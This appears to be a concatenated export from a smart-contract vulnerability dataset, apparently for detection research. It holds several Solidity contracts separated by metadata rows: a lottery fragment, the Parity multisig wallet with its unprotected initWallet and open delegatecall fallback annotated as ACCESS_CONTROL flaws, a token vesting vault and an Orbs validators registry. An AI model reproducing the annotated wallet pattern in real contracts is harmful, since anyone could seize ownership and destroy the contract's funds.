uint256 numberTicketsBoughtAtLotteryId = _userTicketIdsPerLotteryId[_user][_lotteryId].length;
if (length > (numberTicketsBoughtAtLotteryId - _cursor)) {
length = numberTicketsBoughtAtLotteryId - _cursor;
}
uint256[] memory lotteryTicketIds = new uint256[](length);
uint32[] memory ticketNumbers = new uint32[](length);
bool[] memory ticketStatuses = new bool[](length);
for (uint256 i = 0; i < length; i++) {
lotteryTicketIds[i] = _userTicketIdsPerLotteryId[_user][_lotteryId][i + _cursor];
ticketNumbers[i] = _tickets[lotteryTicketIds[i]].number;
// True = ticket claimed
if (_tickets[lotteryTicketIds[i]].owner == address(0)) {
ticketStatuses[i] = true;
} else {
// ticket not claimed (includes the ones that cannot be claimed)
ticketStatuses[i] = false;
}
}
return (lotteryTicketIds, ticketNumbers, ticketStatuses, _cursor + length);
}
function _calculateRewardsForTicketId(uint256 _lotteryId,
uint256 _ticketId,
uint32 _bracket) internal view returns (uint256) {
// Retrieve the winning number combination
uint32 userNumber = _lotteries[_lotteryId].finalNumber;
// Retrieve the user number combination from the ticketId
uint32 winningTicketNumber = _tickets[_ticketId].number;
// Apply transformation to verify the claim provided by the user is true
uint32 transformedWinningNumber = _bracketCalculator[_bracket] +
(winningTicketNumber % (uint32(10)**(_bracket + 1)));
uint32 transformedUserNumber = _bracketCalculator[_bracket] + (userNumber % (uint32(10)**(_bracket + 1)));
// Confirm that the two transformed numbers are the same, if not throw
if (transformedWinningNumber == transformedUserNumber) {
return _lotteries[_lotteryId].bnbPerBracket[_bracket];
} else {
return 0;
}
}
function _calculateTotalPriceForBulkTickets(uint256 _discountDivisor,
uint256 _priceTicket,
uint256 _numberTickets) internal pure returns (uint256) {
return (_priceTicket * _numberTickets * (_discountDivisor + 1 - _numberTickets)) / _discountDivisor;
}
function _isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
}
| 259,868 | 1,727 |
053f2a1731b41ae645134e5404d232c447fe60391b162de1f5d303d037902daf
| 16,451 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbug-dataset/access_control/parity_wallet_bug_1.sol
| 4,246 | 15,233 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <[email protected]>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
// <yes> <report> ACCESS_CONTROL
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
// <yes> <report> ACCESS_CONTROL
_walletLibrary.delegatecall(msg.data); //it should have whitelisted specific methods that the user is allowed to call
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 133,118 | 1,728 |
9b12cd7517dafdeceb569d5d2939e9adf1e705e436582c5c74ad55e76abee201
| 19,842 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/07/076cb0c90a84c7318ba1e2dfc755972454616651_EZEVault.sol
| 3,023 | 12,047 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >= 0.7.5;
pragma abicoder v2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = Context._msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == Context._msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EZEVault is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event Withdraw(uint8 percentage, uint amount, uint timestamp);
IERC20 public immutable EZE;
address public immutable deployer;
struct Timelock {
uint256 epoch;
uint8 percentage;
bool isClaimed;
uint256 claimedAmount;
uint256 createdAt;
}
uint public initialBalance;
uint public totalClaimed;
uint8[5] internal percentages = [20, 40, 60, 80, 100];
Timelock[5] internal vaults;
constructor(address _EZE,
address payable _owner,
uint256 _total,
uint[] memory _timestamps) {
require(_EZE != address(0), "Zero address: EZE");
EZE = IERC20(_EZE);
require(_owner != address(0), "Zero address: owner");
require(_timestamps.length == 5, "FAILD: incorrect timestamp length");
deployer = msg.sender;
for(uint i = 0; i < _timestamps.length; ++i){
vaults[i] = Timelock(// i, // id
_timestamps[i], // release time
percentages[i], // claim percentage for this lock
false, // is claimed?
0, // claimed amount
block.timestamp // created at);
}
initialBalance = _total;
// transfer ownership to new owner
transferOwnership(_owner);
}
function claim() external onlyOwner {
require(getAllowedTokens() > 0, "FAILD: funds did not vested yet.");
for (uint8 i = 0; i < vaults.length; i++) {
if(block.timestamp >= vaults[i].epoch && vaults[i].isClaimed == false) {
uint allowedTokens = getAllowedTokens(vaults[i].percentage);
// is balance is >= allowed tokens
require(getBalance() >= allowedTokens, "FAILD: not enough balance.");
// mark vault to be claimed
vaults[i].isClaimed = true;
// add claimed amount
vaults[i].claimedAmount = allowedTokens;
// increase claimed balance
totalClaimed = totalClaimed.add(allowedTokens);
// safe transfer token
EZE.safeTransfer(msg.sender, allowedTokens);
// call event
emit Withdraw(vaults[i].percentage, allowedTokens, block.timestamp);
}
}
}
function getBalance() public view returns (uint) {
return EZE.balanceOf(address(this));
}
function getVaults() external view returns (Timelock[5] memory) {
return vaults;
}
function getAllowedTokens() public view returns (uint _allowedTokens){
uint8 _percentage = getVestedTokenPercentage();
if(_percentage > 0) {
uint _total = initialBalance.mul(_percentage).div(100);
_allowedTokens = _total.sub(totalClaimed);
}
}
function getAllowedTokens(uint8 _percentage) internal view returns (uint _allowedTokens){
if(_percentage > 0) {
uint _total = initialBalance.mul(_percentage).div(100);
_allowedTokens = _total.sub(totalClaimed);
}
}
function getVestedTokenPercentage() public view returns (uint8 _percentage){
for (uint8 i = 0; i < vaults.length; i++) {
if (block.timestamp >= vaults[i].epoch && vaults[i].isClaimed == false) {
_percentage = vaults[i].percentage;
}
}
}
}
| 79,173 | 1,729 |
0f6723c4aba33a535987de89bf000c11ac795c694167e62836e69353645c10e9
| 13,187 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x804c8336846d8206c95cee24752d514210b5a240.sol
| 2,174 | 10,462 |
pragma solidity 0.4.25;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IOrbsNetworkTopology {
/// @dev returns an array of pairs with node addresses and ip addresses.
function getNetworkTopology()
external
view
returns (bytes20[] nodeAddresses, bytes4[] ipAddresses);
}
interface IOrbsValidators {
event ValidatorApproved(address indexed validator);
event ValidatorRemoved(address indexed validator);
/// @dev Adds a validator to participate in network
/// @param validator address The address of the validators.
function approve(address validator) external;
/// @dev Remove a validator from the List based on Guardians votes.
/// @param validator address The address of the validators.
function remove(address validator) external;
/// @param validator address The address of the validators.
function isValidator(address validator) external view returns (bool);
/// @dev returns if an address belongs to the approved list
/// @param validator address The address of the validators.
function isApproved(address validator) external view returns (bool);
function getValidators() external view returns (address[]);
/// database. same as getValidators but returns addresses represented as byte20.
function getValidatorsBytes20() external view returns (bytes20[]);
/// @dev returns the block number in which the validator was approved.
/// @param validator address The address of the validators.
function getApprovalBlockNumber(address validator)
external
view
returns (uint);
}
interface IOrbsValidatorsRegistry {
event ValidatorLeft(address indexed validator);
event ValidatorRegistered(address indexed validator);
event ValidatorUpdated(address indexed validator);
/// @dev register a validator and provide registration data.
/// the new validator entry will be owned and identified by msg.sender.
/// if msg.sender is already registered as a validator in this registry the
/// transaction will fail.
/// @param name string The name of the validator
/// @param website string The website of the validator
function register(string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress)
external;
/// @dev update the validator registration data entry associated with msg.sender.
/// msg.sender must be registered in this registry contract.
/// @param name string The name of the validator
/// @param website string The website of the validator
function update(string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress)
external;
/// @dev deletes a validator registration entry associated with msg.sender.
function leave() external;
/// @dev returns validator registration data.
/// @param validator address address of the validator.
function getValidatorData(address validator)
external
view
returns (string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress);
/// @dev returns the blocks in which a validator was registered and last updated.
/// if validator does not designate a registered validator this method returns zero values.
/// @param validator address of a validator
function getRegistrationBlockNumber(address validator)
external
view
returns (uint registeredOn, uint lastUpdatedOn);
/// @dev Checks if validator is currently registered as a validator.
/// @param validator address address of the validator
/// @return true iff validator belongs to a registered validator
function isValidator(address validator) external view returns (bool);
/// @dev returns the orbs node public address of a specific validator.
/// @param validator address address of the validator
/// @return an Orbs node address
function getOrbsAddress(address validator)
external
view
returns (bytes20 orbsAddress);
}
contract OrbsValidators is Ownable, IOrbsValidators, IOrbsNetworkTopology {
// The version of the current Validators smart contract.
uint public constant VERSION = 1;
// Maximum number of validators.
uint internal constant MAX_VALIDATOR_LIMIT = 100;
uint public validatorsLimit;
// The validators metadata registration database smart contract
IOrbsValidatorsRegistry public orbsValidatorsRegistry;
// Array of approved validators addresses
address[] internal approvedValidators;
// Mapping of address and in which block it was approved.
mapping(address => uint) internal approvalBlockNumber;
/// database smart contract.
/// @param validatorsLimit_ uint Maximum number of validators list maximum size.
constructor(IOrbsValidatorsRegistry registry_, uint validatorsLimit_) public {
require(registry_ != IOrbsValidatorsRegistry(0), "Registry contract address 0");
require(validatorsLimit_ > 0, "Limit must be positive");
require(validatorsLimit_ <= MAX_VALIDATOR_LIMIT, "Limit is too high");
validatorsLimit = validatorsLimit_;
orbsValidatorsRegistry = registry_;
}
/// @dev Adds a validator to participate in network
/// @param validator address The address of the validators.
function approve(address validator) external onlyOwner {
require(validator != address(0), "Address must not be 0!");
require(approvedValidators.length < validatorsLimit, "Can't add more members!");
require(!isApproved(validator), "Address must not be already approved");
approvedValidators.push(validator);
approvalBlockNumber[validator] = block.number;
emit ValidatorApproved(validator);
}
/// @dev Remove a validator from the List based on Guardians votes.
/// @param validator address The address of the validators.
function remove(address validator) external onlyOwner {
require(isApproved(validator), "Not an approved validator");
uint approvedLength = approvedValidators.length;
for (uint i = 0; i < approvedLength; ++i) {
if (approvedValidators[i] == validator) {
// Replace with last element and remove from end
approvedValidators[i] = approvedValidators[approvedLength - 1];
approvedValidators.length--;
// Clear approval block height
delete approvalBlockNumber[validator];
emit ValidatorRemoved(validator);
return;
}
}
}
/// @param validator address The address of the validators.
function isValidator(address validator) public view returns (bool) {
return isApproved(validator) && orbsValidatorsRegistry.isValidator(validator);
}
/// @dev returns if an address belongs to the approved list
/// @param validator address The address of the validators.
function isApproved(address validator) public view returns (bool) {
return approvalBlockNumber[validator] > 0;
}
function getValidators() public view returns (address[] memory) {
uint approvedLength = approvedValidators.length;
address[] memory validators = new address[](approvedLength);
uint pushAt = 0;
for (uint i = 0; i < approvedLength; i++) {
if (orbsValidatorsRegistry.isValidator(approvedValidators[i])) {
validators[pushAt] = approvedValidators[i];
pushAt++;
}
}
return sliceArray(validators, pushAt);
}
/// database. same as getValidators but returns addresses represented as byte20.
function getValidatorsBytes20() external view returns (bytes20[]) {
address[] memory validatorAddresses = getValidators();
uint validatorAddressesLength = validatorAddresses.length;
bytes20[] memory result = new bytes20[](validatorAddressesLength);
for (uint i = 0; i < validatorAddressesLength; i++) {
result[i] = bytes20(validatorAddresses[i]);
}
return result;
}
/// @dev returns the block number in which the validator was approved.
/// @param validator address The address of the validators.
function getApprovalBlockNumber(address validator)
public
view
returns (uint)
{
return approvalBlockNumber[validator];
}
/// @dev returns an array of pairs with node addresses and ip addresses.
function getNetworkTopology()
external
view
returns (bytes20[] memory nodeAddresses, bytes4[] memory ipAddresses)
{
address[] memory validators = getValidators(); // filter unregistered
uint validatorsLength = validators.length;
nodeAddresses = new bytes20[](validatorsLength);
ipAddresses = new bytes4[](validatorsLength);
for (uint i = 0; i < validatorsLength; i++) {
bytes4 ip;
bytes20 orbsAddr;
(, ip , , orbsAddr) = orbsValidatorsRegistry.getValidatorData(validators[i]);
nodeAddresses[i] = orbsAddr;
ipAddresses[i] = ip;
}
}
/// @dev internal method that returns a slice of an array.
function sliceArray(address[] memory arr, uint len)
internal
pure
returns (address[] memory)
{
require(len <= arr.length, "sub array must be longer then array");
address[] memory result = new address[](len);
for(uint i = 0; i < len; i++) {
result[i] = arr[i];
}
return result;
}
}
| 181,773 | 1,730 |
7a66dbe1e63b7014d6effd9ddf1c6d0f8f3d5ed64f8c0987cfb287160973d60d
| 26,532 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
